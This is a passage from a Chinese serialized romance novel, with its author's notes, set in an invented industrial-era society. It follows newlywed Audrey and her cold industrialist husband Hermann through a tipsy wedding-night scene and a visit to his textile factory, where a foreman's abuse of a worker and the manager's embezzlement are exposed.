“美丽的女士不用做选择,当然是全部拿下了。”奥黛丽随口就是漂亮话,把安娜哄得高兴极了。 “噢!我也这么想!”安娜眉飞色舞, “这两条都要了!” “安娜。”简妮悄悄扯了扯妹妹的衣摆,示意她收敛一些。 一面笑着对葛丽泰道, “库珀夫人,我们挑选的东西,请务必由我们自己买单。” 葛丽泰微笑:“简妮,我们已经是一家人, 不过是几件像样的衣服而已。” “在温斯顿庄园住了这么久,已经给你和赫尔曼添麻烦了。”简妮仍然很客气。 一边看报纸的爱德华被揪了起来, 立刻附和妻子:“噢!是的!” 又看向上门\服务的店员小姐:“女士,请将账单给我。” 怀特家可是的大主顾,店员小姐不敢自作主张,只看着葛丽泰,后者对她笑着摇头,对简妮道:“如果算得这么清楚,那么你们这段时间替怀特家出去交际,我岂不是要支付报酬了?” “噢,葛丽泰,别这样。”简妮失笑,用扇子掩住嘴唇。 安娜眨了眨眼,俏皮道:“看吧,简妮,别多心!我们打扮体面,也是给怀特家增光添彩,葛丽泰夫人慷慨大方,当然不会介意!” 简妮嗔了眼安娜,但是没再阻止她挑选衣服的行为。 诺曼一家原本计划婚礼结束就回去,可是也许是晚宴上的表现很替怀特家长脸,再加上奥黛丽舍不得家人,葛丽泰顺势邀请亲家再住一段时间。 简妮也想多陪陪女儿,也就答应了。 她深知奥黛丽在社交方面的生疏。而作为新晋太太,又免不了要和圈子里的人打交道。正好趁着自己在,可以带女儿熟悉熟悉。 于是,这一个月里,诺曼一家陪着奥黛丽参加各种社交活动,怀特太太有没有进步尚未可知,反正娘家人是获赞颇丰。尤其安娜,甚至已经成了肯特郡交际圈的女明星。 安娜在娘家当女儿的时候就是爱热闹的个性,只是后来嫁给威克曼,过了很久的苦日子,只能时不时蹭着简妮的光玩一玩。 但是那会儿怎么能跟现在比呢? 南方贵族云集,越靠近墨伦维克,规矩就越多。诺曼家在洛森郡仅仅只能算是中上阶级,安娜又只是简妮捎带来的妹妹,也没有像样的夫家,在舞会里坐冷板凳是常有的事。 现在就不一样了。 肯特郡地处北方,周围都是工业城市,几乎遍地是商人,怀特家族又是商人里的龙头。这里的社交舞会既没有繁琐的规矩,也没有装腔作势的老牌贵族。 安娜凭着乡绅女儿的身份备受尊重,加上热情爽朗的做派,更是让人称赞。她才舍不得回去呢! 葛丽泰羡慕地看着简妮优雅的举止,又看了看安娜自信的模样,感叹道:“真希望你们一直住下去。” 这样她就只用待在家里陪小猫小狗玩,而不是硬着头皮和太太们谈论天气。 奥黛丽一手挽着葛丽泰,一边靠在简妮肩膀上,跟着叹了口气:“是啊,真希望你们一直住下去。” 简妮轻轻捏了捏女儿的手,哭笑不得。 奥黛丽不懂人情往来,做母亲的却要懂。 她们毕竟是娘家人,怎么能一直住在女婿家?葛丽泰不介意,赫尔曼却不见得。 这么想着,抬头一看,赫尔曼正好从楼梯下来,身边跟着数位工作秘书在汇报工作。 百忙之中,抬眸扫了眼琳琅满目的花厅。 当然,他没有打扰几位女士挑衣服的兴致,视线停留片刻就当作打招呼了。 奥黛丽却在他看来的那瞬间,赶紧捧着时装图册遮住脸,书后的脸颊白里透粉,渐渐通红。 赫尔曼看起来倒是从容,但只有他自己知道,有那么几分钟,完全没听见秘书在说什么。 简妮和葛丽泰对视一眼,暗笑。 小夫妻的别扭,还要从婚礼那晚说起。 当时,他们即兴在月光下跳了整支舞,之后又被村民们起哄,转场去镇子里加入篝火晚会。 在这样热情快乐的氛围里,连赫尔曼都经不住劝,赏脸喝了半杯酒。更别说奥黛丽,等回过神,脸已经喝得酡红。 她的酒量还行,晚会结束时,还能保持清醒。再看看赫尔曼,脸色如常,一点变化也没有。 “太好了,你没醉!” 奥黛丽松了口气,这样就不会被长辈们抓包了——诺曼小姐虽然结了婚,但还是怕被妈妈骂QAQ。 溜回庄园的路上,奥黛丽快乐地哼着歌,一边回味着刚才的新鲜经历。 说了一路,身后的男人一声不吭。 奥黛丽也不在意,反正赫尔曼向来寡言少语。 回到家中,宴会已经结束了,正准备溜上楼,就看见葛丽泰和简妮守在大厅里逮人! “!” 奥黛丽避无可避,只好躲在赫尔曼身后。 “噢!你们去哪了?怎么也不说一声,害我们担心了一晚上。”简妮把女儿揪出来,闻了闻,“喝酒了?” 奥黛丽脑袋晕晕的,心虚垂头:“一点点,没有喝醉。” 赫尔曼:“一点点,没有喝醉。” “?” 奥黛丽和简妮同时回过头,赫尔曼面无表情,深灰色的眼睛直视着母女二人。 奥黛丽在他眼前晃了晃手,伸出两根手指:“赫尔曼,这是几?” 赫尔曼皱眉,似乎很不满意对方把自己当弱智,一把抓住她晃动的手指,径直往楼上走,“我没醉。” 奥黛丽被他拉着往前,被酒精冲昏的头脑更晕了,她哈哈笑:“真的吗?那刚刚是几?” “是二。” 奥黛丽狡黠笑:“不对,是三!” 赫尔曼回眸盯着她。 “好吧,看来你真的没醉。”奥黛丽说:“那……那我叫什么名字?必须两秒内说出来,一、二!” 赫尔曼冷哼:“伊莎贝尔·诺曼。” “好吧……又答对了。”奥黛丽顶着红脸蛋哈哈笑,“我们家有多少个小怀特,几只是小狗,几只是小猫?快速回答!三、二……” “六只小狗,十二只小猫,一共十八只。” “查尔斯头顶还有多少根头发?!” “很快只剩零。” “哈哈哈哈哈!” …… 两个人一路进行着毫无营养的问答。 留在原地的两位母亲收回视线,彼此对视一眼,抿嘴憋笑。 显然,她们对当事人“没喝醉”的说辞保留看法,但并不打算戳穿。 一路回到房间,奥黛丽意犹未尽。 有问必答的赫尔曼可太少见了,她恨不得把他的存款和保险柜密码给问出来。 但是赫尔曼很有防备心,不该回答的一律不开口。所以奥黛丽对他是否喝醉还存疑。 她决定换个问法! “如果你没醉,那就说出我的十个优点,要认真说理由,不可以重复。”奥黛丽拉着赫尔曼坐下,沾染酒意的蓝眼睛亮晶晶。 布置精美的婚房灯光柔和,年轻的夫妻并肩坐在床沿,角落里,两道身影交织重叠。 赫尔曼似乎有些累了,他歪躺向床头,随意扯开领结,撑着头看她。 银色长发垂落在洁白的枕头上,散发着光泽。深灰色眼睛倒映着奥黛丽酡红的脸。 奥黛丽也有点累,她夺过一只抱枕,趴在床中央,两只手捧着脸和赫尔曼对视,笑眯眯:“哼,说不出来你就是醉了,原来你是一杯倒啊!” 她捧着脸哈哈大笑,脸颊的软肉挤成一团。 赫尔曼看着她,突然跟着笑了,声音很轻。 奥黛丽愣住,她晃了晃脑袋,觉得自己也醉了。 柔和光线里,墨菲斯雪山冰雪消融,春风化雨,原来是这种美景。 她被美色冲昏了头脑。 “你很聪明。”赫尔曼清冷的嗓音拉回她的神智,“虽然大部分时候很愚蠢,偶尔却能灵光乍现。” 奥黛丽刚要生气,意识到赫尔曼在回答那个问题,又忍不住好奇:“比如呢?” “比如,你是个杰出的设计师,很有才华,在这个领域能胜过许多人。” “包括你吗?” “包括我。”赫尔曼坦诚点头。 奥黛丽高兴极了,扬着下巴哼哼:“我可不止是个设计师呢,还有很多你不知道的天赋!” 赫尔曼看着她,又笑了。 奥黛丽一眨不眨地盯着他,觉得今天冰山融化的次数太频繁了,真令人不习惯。 “你很善良。”赫尔曼再次开口,“虽然我并不觉得给毫不相干的人挥洒善心多么值得称道,但显然,普世意义上来说这算是优点。” 奥黛丽不满:“你就不能只夸赞,不加后面的补充吗?” 赫尔曼今晚很顺从:“好吧。” 奥黛丽嘴巴一张一合,似乎还在吐槽着。 赫尔曼什么也没听见,他歪着头看她,唇边挂着笑,像是卸掉所有盔甲后,彻底放松的模样。 “你很漂亮。” 一句话让室内安静。 没有女孩不喜欢这句夸赞。 奥黛丽深吸一口气,嘴角上扬:“当然,毫无疑问啦!” 她等着再次转折,可是等来等去,赫尔曼却没说话。 奥黛丽忽然觉得心跳慢了半拍。 她悄悄蹬腿往前蹭,距离赫尔曼近了几分,近得能闻到彼此身上的酒香,近得她伸手就能碰到散落的银灰色长发。 暖黄灯光洒在脸上,奥黛丽仰着头,有许多话想问,最终却期期艾艾道:“你夸我漂亮,是什么意思?” 水蓝色的眼睛澄澈动人,沐浴在这样的视线里,会让人感受被爱包围的温暖——那是一双很会爱人的眼睛。 喉结滚动,赫尔曼注视着这双眼睛,难以移开视线。 被酒精麻痹的大脑停止转动,看似清醒,实际上脑袋里只剩婚礼的残篇——礼堂钟声敲响,花瓣漫天飞舞,蜻蜓点水的吻,落在新娘粉红色的唇瓣。 他无意识地靠近,奥黛丽僵住,愣愣地看着他。 银灰色长发搔动脸颊,泛起麻痒。 在温热气息即将落在脸上的那一刻,奥黛丽紧张地闭上眼睛,心跳加速,突然—— “咚!” “……?” 奥黛丽等了半天,期待的吻迟迟未到。 一睁眼,只见银头发先生歪倒在床上,双目紧闭。 奥黛丽呆住。 她赶紧上前查看呼吸:“噢!还活着!” 奥黛丽拍拍胸口,松了口气。 等等? ! 她突然回过味来。 所以,刚刚赫尔曼一直都在喝醉的状态里吗? 他夸了她那么多优点,说的是醉话,还是真心话? 最后那个举动,是自己误会了吗?还是说…… “他真的喜欢我?”奥黛丽喃喃自语。 她不擅长揣测别人的心思,更别说赫尔曼这样冰山似的男人。 心思百转千回,想了不到两分钟,就开始头痛! 奥黛丽是个坦诚对待自己的姑娘,她清楚地知道,自己对赫尔曼是有些好感的。 姐姐说过,大大方方地喜欢一个人,不是羞耻的事情。 如果他感受到了,并且愿意回馈同样的心思,当然很好。 可是如果他不喜欢,那也没关系。 她会有点失落,但不会因此否定自己。 少女的情怀是沾着晨露的玫瑰,只要盛开过,瞬间的美好即是永恒。 奥黛丽晃了晃脑袋。 所以,不用想太多了。 反正她和赫尔曼已经是夫妻,无论是什么结果,都要一起生活下去的。 奥黛丽这么想着,再次凑近,仔细端详着赫尔曼的睡颜。 睫毛纤长,五官俊美,最难得的是,他睡觉的样子比平时温和一百倍。 奥黛丽满意地点头。 丈夫的美貌,妻子的荣耀! 但是这张脸不能一直看,会让自己也像个一杯倒的醉鬼。 歪着头看了许久,昏暗的灯光和迟来的酒劲让她有些上头。 奥黛丽昏昏沉沉,忽然意识到,自己没有比赫尔曼清醒多少。 她看着那张脸,鬼使神差地……渐渐靠近。 思维比行动慢了一步,等反应过来,已经能感受到他均匀的呼吸。 看着近在咫尺的脸,奥黛丽紧张地不敢眨眼。 像是做梦一样,她觉得现在的自己稀里糊涂——近一点,再近一点…… 她屏住呼吸,轻吻他的脸颊——一触即分—— 作者有话说:纯情CP是这样的哈哈哈 第53章 章节锁定 第54章 “什么?我可以去?”奥黛丽惊喜地看向查尔斯, “那我现在就去换衣服!” “噢!不用换,您这套裙子漂亮极了,怀特先生的会议快要开始,咱们这就走吧。”查尔斯微笑颔首。 奥黛丽:“我不是为了打扮,查尔斯。你刚刚不是说, 没有人穿成这样踏足工厂吗?” “是的, 确切来说, 是从来没有这样的先例。”查尔斯耸肩,“但是很显然,我的雇主先生擅长打破常规。” 他一面在前方引路,一面俏皮道:“所以怀特太太穿什么还重要吗?反正您已经是第一人了,这足以让您在贵妇圈拥有新鲜的谈资,在她们炫耀去哪个庄园踏青的时候,您就能骄傲自豪地说,哎呀,我去过哈登菲尔德看灰蒙蒙的雾霾,你们去过吗!” 奥黛丽和查尔斯很熟悉,听见他夹着嗓子调侃,她也不生气,笑呵呵解释:“查尔斯,不许笑话我,我才不是踏青,我想参观那些机器是怎么运作的。” “虽然我很想奉承您,但对于女士来说,这真是匪夷所思的爱好。”查尔斯帮她拉开马车门,摘帽颔首,挑眉道, “不过怀特先生应该很欣慰,其他太太们只能谈论珠宝首饰,而怀特太太一鸣惊人,能在下午茶时间发表机器改良的高见。” 奥黛丽坐上车子,故作气恼:“噢,查尔斯,我从没有这么讨厌你的幽默,因为它更像是一针见血的嘲讽。” 查尔斯笑着关上车门,终于满意地结束辛辣语言艺术的展示:“上帝证明,我对您绝对尊重。” 另一辆车上,闭目养神的赫尔曼,在查尔斯回到位置上时睁开眼睛,淡淡道:“如果你总是不分场合的耍嘴皮子,我可以为你介绍查理马戏团的工作,那里可以给你足够多的机会一展天赋。” “没有这回事,先生。” 查尔斯立刻老实,摸着所剩无几的头发,笑道:“我只是想让怀特太太降低期待。哈登菲尔德不是多么有趣的地方,机器轰隆,烟尘滚滚,老实说,非必要的情况下,连我也不想去,何况是一位年轻的女士呢。” 赫尔曼垂眸,耳边是车轮滚动的声响。 “等见识到了连太阳都照不进的地方,看见那里的混乱,她就不会再想踏足。” 查尔斯微怔,打量着银头发先生。 自诩是最了解雇主的助手,他也难以分辨,这番话到底说的是哈登菲尔德的工厂,还是另有所指。 另一辆车里,奥黛丽不知道他们的谈话。 她望着窗外,对目的地怀着无限憧憬。 哈登菲尔德是锡兰的工业首府,这里的机器夜以继日地运作,创造源源不断的财富。 如果往前倒退几十年,谁也不会相信,世界会因一台小小的机器而改变。可事实就是如此玄妙。 奥黛丽听着这些故事长大,对哈登菲尔德心向往之。 从前跟着父母游玩,倒是去过哈城市区,但没有见识过真正的工业区。 车轮滚滚向前,不知行驶了多久。 奥黛丽打了个盹醒来,窗外的天就变了。 太阳挡在云层外,灰蒙蒙的天色像是要下雨,闷热潮湿的气流涌向车窗,奥黛丽下意识捂住鼻子。 不远处,烟囱往外冒着滚滚黑烟,工厂高墙林立,传来轰隆隆的声响。 华贵的马车停在一处最大的红砖建筑前,查尔斯为奥黛丽打开车门。 “欢迎来到怀特工厂,女士。” 奥黛丽怔然抬头,鹅黄色蕾丝裙摆和地面接触,她浑然不觉,下意识观察眼前这栋堪称宏伟的厂房。 奥黛丽在书中看过,早期的工厂大多依傍河水建立,利用水车驱动。自从蒸汽机普及以来,烟囱代替水车成为工厂标志。 怀特工厂足有五层楼高,顶上烟囱高达三十米,滚滚黑烟几乎覆盖周边数英里,遮天蔽日。 工厂管理者是个小胡子中年人,他早早就率领着数位助手等候在大门外。 怀特实业公司涉足多项产业,这间工厂只是其中之一。平时一般是分管经理人负责管理,再由他们定期将财报汇总给赫尔曼。 所以,小胡子作为工厂领事,并不经常见到传说中的大老板,更别说见到老板娘了,一时间,控制不住想进步的心,谄笑着迎上前。 “怀特先生,怀特太太,我谨代表全体工人向你们问好。” 话音刚落,一行人整齐鞠躬行礼。 奥黛丽吓了一跳,下意识挽着赫尔曼的胳膊,躲在他身后。 赫尔曼瞥了眼攥着自己胳膊的丝质手套,没说话,但也没挣开。 查尔斯立刻上前道:“好了,皮特,今天怀特先生赶时间,快点召集管理层开会。” 这是例行的季度检查,涉及管理、安全、经济等多个方面。 赫尔曼要求严苛,一旦被他发现问题,从上到下都有麻烦。如果弄虚作假,更会面临牢狱之灾。所以每个季度末,对于管理层来说都是渡劫。 奥黛丽跟着赫尔曼走进厂房对面的办公楼。这里隔音很好,听不见机器轰隆声。可是她的心却惦记着那一边。 眼看查尔斯领着各位助理坐下,奥黛丽悄悄戳了戳赫尔曼:“我呢?我就听你们开会吗?” 赫尔曼坐在长桌中央,奥黛丽挨着他,自以为声音很小,实则一举一动都在众人的眼皮子底下。 赫尔曼睨她,似笑非笑:“如果你想的话,不是不行。” 奥黛丽耷拉着眉头,嘟囔:“我不想。” 查尔斯笑道:“皮特,赶紧派几个机灵的伙计,带着怀特太太去参观她的新工厂。” “那间工厂,原来属于……怀特太太?!” 小胡子皮特恍然大悟,赶紧道,“噢,工厂那么大,再机灵的伙计也不敢委以这样的重任,还是由我亲自带领怀特太太参观吧!” 查尔斯挑眉:“你走了,谁汇报工作?” 皮特还没回答,赫尔曼却淡淡开口:“就这么办,你亲自过去。” “是!怀特先生!”皮特面露喜色,心知这次的殷勤献对了,只要讨好了怀特太太,季度检查都不算什么,“怀特太太,这边请。” “我走了。”奥黛丽回头,冲赫尔曼挥手。 赫尔曼的视线跟随她离开,淡淡道:“别乱跑。” “嗯!我知道啦!” 奥黛丽雀跃地跟着皮特离开。 赫尔曼垂眸,不知在想什么。 等员工开始陆续汇报,他突然敲了敲桌面:“我不想听太多废话,说重点,速战速决。” 助手心惊胆战:“是……”- 从外面看十分宏伟的厂房,踏进去更能感受其中的壮观。 皮特带着奥黛丽从特殊通道进入新厂房,这里整体采用大通间设计,每层都会划分纺纱、梳理、卷绕等工序区。 还未投入使用的生产线还很新,里面一个人都没有,像是特意等待着贵客参观。 奥黛丽最喜欢的是那扇窗户,它足足占了墙面的一半以上。 皮特跟着解释道:“工厂制作需要满足采光条件,像天气好的时候,阳光透过玻璃窗洒进厂房,整座建筑都在发光,非常漂亮。” “太可惜了,今天是个阴天。”奥黛丽看着窗外。 皮特擅长奉承,很快笑道:“哈登菲尔德的天气说变就变,不如您多留在这里等一等,我去准备下午茶,到时候您可以在这里观赏太阳出来的风景。” 奥黛丽下意识想拒绝。 她来厂房是想看机器的,不是换个地方赏景的,在这里喝下午茶也太奇怪了。 可是皮特十分殷勤,没等她开口就屁颠屁颠离开。 奥黛丽无奈挑眉,只能顺着生产线逛一逛。 说实话,她看得出来,皮特怕出差池,所以特意留出空壳厂房应付自己。而她想看到的是工人们使用机器的真实场景。 一墙之隔,突然传来轰鸣声。 她顺着声音走去,才发现中间有道连接两个厂房的门。 推开门的一瞬间,棉絮飞涌,奥黛丽猝不及防,呛得脸色通红:“咳咳咳!” 咳嗽声被机器运转声掩盖,谁也没发现,角落里多了一位穿着蕾丝裙的女士。 奥黛丽一边咳嗽,一边被眼前的情景震撼。 偌大的厂房里,数不清多少台纺织机正发出有节奏的轰鸣,梭子在线纱间往复穿梭,每一次撞击钢筘,都腾起细小的白雾——那不是蒸汽,是被震散的棉纤维,正无声无息地钻进工人的肺里。 一台纺织机制造的棉絮不足为奇,但是成百上千台机器一起运转,场面犹如天降大雪,纷纷扬扬。 奥黛丽捂着鼻子,目不转睛。 她盯着来回滑动的梭子,脑海中自动模拟器械的架构——齿轮在内心运转,循环往复。 跟随着工人操作的手,她很快通过停顿的频率,计算出效率。 正想继续观摩其他构造,被她观察的那位工人突然咳嗽起来。 他刚掀开蒙住口鼻的麻布,想偷偷喝口水,一道严厉的呵斥炸响:“凯文!你找死吗?!” 伴随着喝骂,凌厉的鞭子随之而至,狠狠落在男工人身上,连带着瓶子里的水洒落一地。 “啊!” 工人发出痛呼,正好摔在奥黛丽的脚边,刚一抬头,就对上一双水蓝色眼睛。 “凯文,是你?!” 奥黛丽惊讶地看着男工人,他的口罩滑落,露出熟悉的雀斑——正是村民舞会上的求婚男孩。 凯文也很震惊:“怀特太太……您怎么……” 话未说完,凶神恶煞的管事走了过来,一把揪起凯文:“臭小子!还敢偷懒!起来干活!” “啊!”凯文被拖拽出血痕,一边挣扎,一边剧烈咳嗽。 奥黛丽瞪大眼睛,飞速跑上前拦住管事:“你站住,你有什么资格打人?快放开他!” 管事回过头,扫了眼奥黛丽的衣着。 今天她没有戴名贵的珠宝,但从衣服面料不难看出是位出身良好的小姐。 管事收敛了神色,但还是一副傲慢的姿态:“女士,请问您是哪位?我按照规章制度,管理手下的工人,您有意见?” 奥黛丽气血上涌,刚深吸一口气,就被空气里的棉絮呛到。 “你……咳咳咳!我是……咳咳咳!” 管事这下断定奥黛丽是个不知道哪里迷路过来的中产阶级小姐,路见不平想逞英雄。 毕竟哈登菲尔德是个包容的城市,这里每天都有无数人求职,包括许多富有学识的破产小姐。 “哼!年轻的小姐!请让开!既然想来怀特工厂找工作,就请提前熟悉这里的规矩!”管事一把推开奥黛丽,冷笑,“你眼睛看到的地方,都由我说了算!” 凯文挣扎着,喘息:“不!霍克,她是……” “闭嘴!臭小子!还想争辩什么?!”管事再次狠狠给了凯文一鞭,又将其拎起来,“你们听着,谁再敢解开口罩喝水,借机偷懒的,这就是下场!” 棉絮洋洋洒洒飘在空中,众工人噤如寒蝉,有几个露出愤怒的神色,被同伴按住。 奥黛丽攥紧拳头,盯着管事:“你叫什么名字?我最后一次警告你,你最好放开他!” “皮特经理知道吗?他是这里的管事人,连大老板怀特先生都要给他几分面子。而我,就是他的外甥!”管事轻蔑一笑,“怎么?想找我的麻烦?还请多打听打听,怀特工厂在哈登菲尔德是什么地位!” 说完,管事和身后的拥趸一起大笑。 下一刻,隔门被推开,皮特谄媚的声音传来:“怀特太太,您去哪了?下午茶送来了,您是想喝宫廷伯爵茶、还是来自遥远东方的红茶搭配柠檬片,点心有葡萄干司康饼、柑橘挞和……” 看见眼前的场景,皮特顿住。 外甥拎着一个鲜血淋漓的男孩,神情嚣张。身后的跟班大笑着,甚至还没来得及合拢嘴巴。 众工人一个个都是目光灼灼,忍气吞声的模样。 说实话,这样的情景不少见,但今时不同往日。皮特僵硬着脖子看向奥黛丽—— 向来温和的女士,此刻笑容彻底消失,脸颊气得通红,怒火快从眼睛里喷出来。 “皮特先生。”她说,“你最好给我一个解释。” 正当皮特结结巴巴想开口,规律的脚步声在身后响起,由远及近,伴随着手杖敲击地面的声响。 这一刻,皮特意识到什么,颤抖着回头——视线里,银头发先生缓步而来。深灰色的瞳孔里冰冷一片。 —— 作者有话说:卡点卡错了,加了怀特出场。 第55章 “怀特先生……您听我解释,这一切不是您想的那样……”皮特哆哆嗦嗦,端着下午茶托盘的颤抖着,杯盏碰撞发出脆响,像极了此刻的心境。 赫尔曼的目光没有施舍半分给他,银质手杖顺着步伐往前。 奥黛丽听见动静回头,看到来人的一瞬间,不知怎么,所有愤怒突然化作委屈。 “赫尔曼。” 听见这声呼唤,赫尔曼脚步顿住。 深灰色的眼睛注视着她向自己跑来,粉白的脸颊因为气愤而泛红, “你来得真及时,他们太过分了!” 戴着长袖手套的手挽着他的胳膊,嘴巴一张一合,很是激烈地诉说着。 皮特徒劳地争辩,带着自己的外甥痛哭流涕,全然没有刚才的气焰。 赫尔曼自始至终没有看他们,他注视着奥黛丽被呛红的双眼,还有飘落满头的棉絮。 她浑然不觉,以为赫尔曼的沉默是在判断当下的对错, 于是更加愤怒地反驳皮特:“他说谎!我亲眼看见他的外甥打人,这样的事情以前肯定不止一次。赫尔曼, 你相信我,你一定要……” 她还未说完, 修长的指节伸了过来,摘掉留在金发上的棉絮,一边开口:“查尔斯。” 查尔斯立刻上前,站在管事面前, 彬彬有礼:“先生,你被解雇了。” 管事激动求饶:“不!不!请听我解释!我都是按照工厂的规则行事!我不知道那是怀特太太……如果我知道……” “这和怀特太太无关,你恶意伤人,我们已经上报治安官。”作为忠实助手,只需要雇主一个眼神,查尔斯就安排好一切。 皮特还想为外甥求情,于是走到奥黛丽面前。 “怀特先生,怀特太太,我们日子也不容易,不能因为一点小错就被剥夺饭碗,求求您!”皮特嘴上求着赫尔曼,实际上,他很明白,无情的资本家不会为此动摇,这样可怜的姿态只能要挟富有同情心的人。 赫尔曼摩挲着手杖,看向奥黛丽。 很显然,这是一位将善心写在脸上的小姐。 对他而言,一个属下的去留并不重要。他更好奇,金发小姐会做什么选择。 视线里,那双水蓝色眼睛果然闪过挣扎。 皮特同样没有错过她的犹豫,心中几乎要唱起胜利的赞歌。 下一刻,却听见她说:“皮特先生,你说你过得不容易,可是,你用来招待我的宫廷红茶每磅需要三锡兰币,东方红茶价格更高昂,足有五锡兰币,如果再加上精致的点心,和你珍藏的骨瓷杯碟,那么这一顿下午茶,相当于普通工人的全年收入。” 话音落下,皮特表情僵住,“我……我只是想好好招待您……” “是吗?”查尔斯突然打断,慢条斯理地拿出一叠文件,“据你的助手提供的资料显示,你以权谋私,贩卖工厂商品、克扣工人薪水,只是一年就贪污五千锡兰币。” 证据砸在皮特脸上,他脸色煞白。 现在,外甥面临解雇不再重要,因为他自己即将深陷牢狱之灾。 恐惧之下,皮特再也不敢狡辩,痛哭着道歉,求赫尔曼放他一马。 “这话留着和法官说吧。”赫尔曼神情平淡,向奥黛丽伸出胳膊。 奥黛丽慢半拍,赶紧挽住。 治安官适时到来,身后传来男人凄厉的叫嚷。 奥黛丽想回头,后脑被一只手按住。 “事情已经了结,有些场面不必观看。” 奥黛丽偷偷打量赫尔曼,试探道:“凯文受伤了,他是我们的朋友。” 赫尔曼眉头微蹙,想了一会儿,才记起凯文是谁。 住在镇上的雀斑穷小子,因为怀特家的两位女士善心大发,才有幸进入温斯顿庄园参加婚礼。 这样的人,也算朋友? 他并不这么认为,但也不想反驳妻子。 “工厂有规章制度,会有人负责补偿。”深灰色的眼睛扫视奥黛丽,嗓音冷淡,“不用怀特太太特意操心。” 奥黛丽低下头,心不在焉。 正当她松开赫尔曼的手,要回到来时的马车,男人叫住她:“过来。” 赫尔曼打开车门,示意她上车。 奥黛丽不明所以。 查尔斯笑道:“您来的时候,安排得太匆促,那辆马车太小,不如这辆空间大,适合容纳女士的裙摆。” 奥黛丽眼睛一亮,又高兴起来,拎着宽大的裙子上车:“谢谢。” 她将自己塞进车,还贴心地往旁边让了让,拍着座位招手:“赫尔曼,来。” 本想去另一辆车的赫尔曼,看着勉强留出的三分之一空位:“……” 查尔斯坐在对面,忍笑招呼:“噢,先生,快坐下吧,别辜负您太太的热情招待。” 车厢里,鹅黄蕾丝裙摆还沾着灰尘和棉絮,被她轻轻一拍,白雪飞舞,落了满头满身。 正要说话,开口就打了个喷嚏:“哈秋!” “你来……哈秋……”顶着一脑袋乱飞的棉絮,像是棉花团里打过滚的小猫,即便如此艰难,她还睁着明亮的蓝眼睛邀请,“哈秋……坐。” 赫尔曼默然无语,为她不屈的精神感动。 于是提起尊贵的脚上车,端坐在三分之一的位置上。 车子踏上回程的路,渐渐离开哈登菲尔德。 奥黛丽还在打喷嚏,赫尔曼看着她满身乱七八糟的棉絮,强迫症再次发作,“低头。” 奥黛丽疑惑但照做。 雪松清香传入鼻尖,视线里,修长的手触碰她的头发、肩膀,缓慢而耐心地将棉絮一颗一颗摘下。 奥黛丽怔然,觉得这一刻的赫尔曼有点温柔。 想起厂房里的漫天白雪,她想了想,试探道:“赫尔曼,工厂的环境很糟糕,工人们每天都要吸入这么多粉尘,会对身体有影响的。你能不能装几台风扇,至少让空气流通一些,或者……” 深灰色的眼睛目光微顿,赫尔曼摘掉最后一颗棉絮。 “我说过,工厂有它的规章制度。”他脸色恢复冷漠,打断奥黛丽,“不是你做慈善的游乐园。” 奥黛丽皱眉:“这怎么能说是慈善呢?工人如果生病,也无法为你提供劳动不是吗?保证他们的安全也是保证你的生产力。” “失去劳动力就会被辞退。优胜劣汰,适者生存,这是哈登菲尔德的法则。”赫尔曼面无表情,“资本的机器一旦运作,就不会为某一个人停下。哪怕那是你的……朋友。” “我们和凯文一起参加过篝火晚会,你记得吗?他是个幸福的小伙子,马上要成婚了……” “那和我有什么关系?”赫尔曼看着她,“我没有你的仁慈与善心,诺曼女士。” 奥黛丽彻底愣住。 她怔怔看着赫尔曼,有点不敢相信,这番毫无同理心的话,是他说出来的。 不对,应该说,是温斯顿庄园里短暂而美好的相处,让她忘了赫尔曼最初的模样——他是深夜闯入诺曼庄园,公然用债务逼迫她们的强盗。 在初到肯特郡的那段时间里,她很清楚,自己只是赫尔曼的工具,包括现在,也没有完全摆脱这一属性。 那时,赫尔曼对自己只有厌恶和疏离。 她想得开,不在意,却不代表她完全不明白状况。 奥黛丽垂下头,不再说话,只看着窗外。 赫尔曼无意识地攥紧手杖,肃着脸看向另一边。 沉默在车厢中蔓延,彼此面对着相反的方向。 车窗外,天色仍然暗沉,突然雷声轰鸣。 奥黛丽想起来的时候,她还盼望着天空放晴,可见所有事情的结局并不都如自己所愿。 而赫尔曼就像哈登菲尔德的阴天——相处的过程中,她能够感受到,乌云渐渐消散。 他逐渐温柔的举止,他的付出,他的改变,奥黛丽都看在眼里。 她知道,这个人大概不再讨厌自己,偶尔会为她做出让步。 可是人性总是很脆弱,就像姐姐说的,因爱而生骄。 奥黛丽觉得,自己现在就是如此。 放在最初认识的时候,她敢像刚才那样对赫尔曼提出请求吗?她不会的,因为她清楚地知道界限在哪里。 而正是因为乌云散去后,那一点点放晴的迹象,让此刻的她模糊了界限。 怀特太太和温斯顿庄园里的小猫小狗,有什么区别呢?他喜欢的时候,可以无限包容,一旦不喜欢了,或者小猫小狗错以为自己真的是主人,那么距离被丢弃的那一天,也不远了。 当然,如果她只是一个人,未来怎么过都没关系。可是她还担负着诺曼家族的责任,姐姐还替她去了公爵府面对更凶险的状况。所以这个怀特太太的头衔,不是说丢就能丢的。 奥黛丽失神地看着窗外,又挤出一抹笑:开心一点,奥蒂,至少你今天明白了这个道理。而且他现在不讨厌你,不会计较你一时的失言。 “怀特太太。”查尔斯突然开口,向来喜欢插科打诨的老家伙,这会儿倒显得很郑重,“或许你能听我说两句话吗?” 奥黛丽微笑:“当然。” “我理解您对工人的同情,可是工厂的规章制度不是一个人能改变的,它代表了整个行业的尺度。”查尔斯眼含深意,“今天,怀特先生被他们推举为行首,可一旦他率先做出背叛行业的事情,那么托举他的人,一样能联合起来对付他。” “查尔斯,够了。”赫尔曼冷声打断,“她不需要知道这些。” 查尔斯叹了口气,不再说话。 可是奥黛丽已经听懂了。 资本家们联手制定规则,就要打造属于他们的世界,所有人包括龙头,都要维持着其中的平衡。 资本逐利,提高工人的待遇相当于提高成本,一家工厂做出表率,不会成为榜样,反而会成为其他人的眼中钉。 沉默良久,奥黛丽挤出一抹笑:“我明白了。” 车窗里倒映出她的笑脸,和赫尔曼紧绷的侧颜。 她顿了顿,看向赫尔曼:“抱歉,怀特先生,刚才我不该质问你。” 赫尔曼盯着她,眉头微蹙。 “噢,您终于笑了。”查尔斯长出一口气,笑道,“年轻的丈夫都是愣头青,我当年也是这样,总是惹恼我的妻子,希望您没有生怀特先生的气。” 奥黛丽微笑,扫了眼赫尔曼,神色如常:“当然,我没有生气。” 她没说假话。 即便没有查尔斯的解释,奥黛丽也想清楚了。 事实上,站在赫尔曼的立场,他什么也没做错。 从底层爬到高位的资本家,如果还拥有善良与仁慈,恐怕早就尸骨无存。 这是他的生存之道,也是他抛开生活之外,在战场上搏杀时的真正底色。 那是她错了吗?不,她也没错。 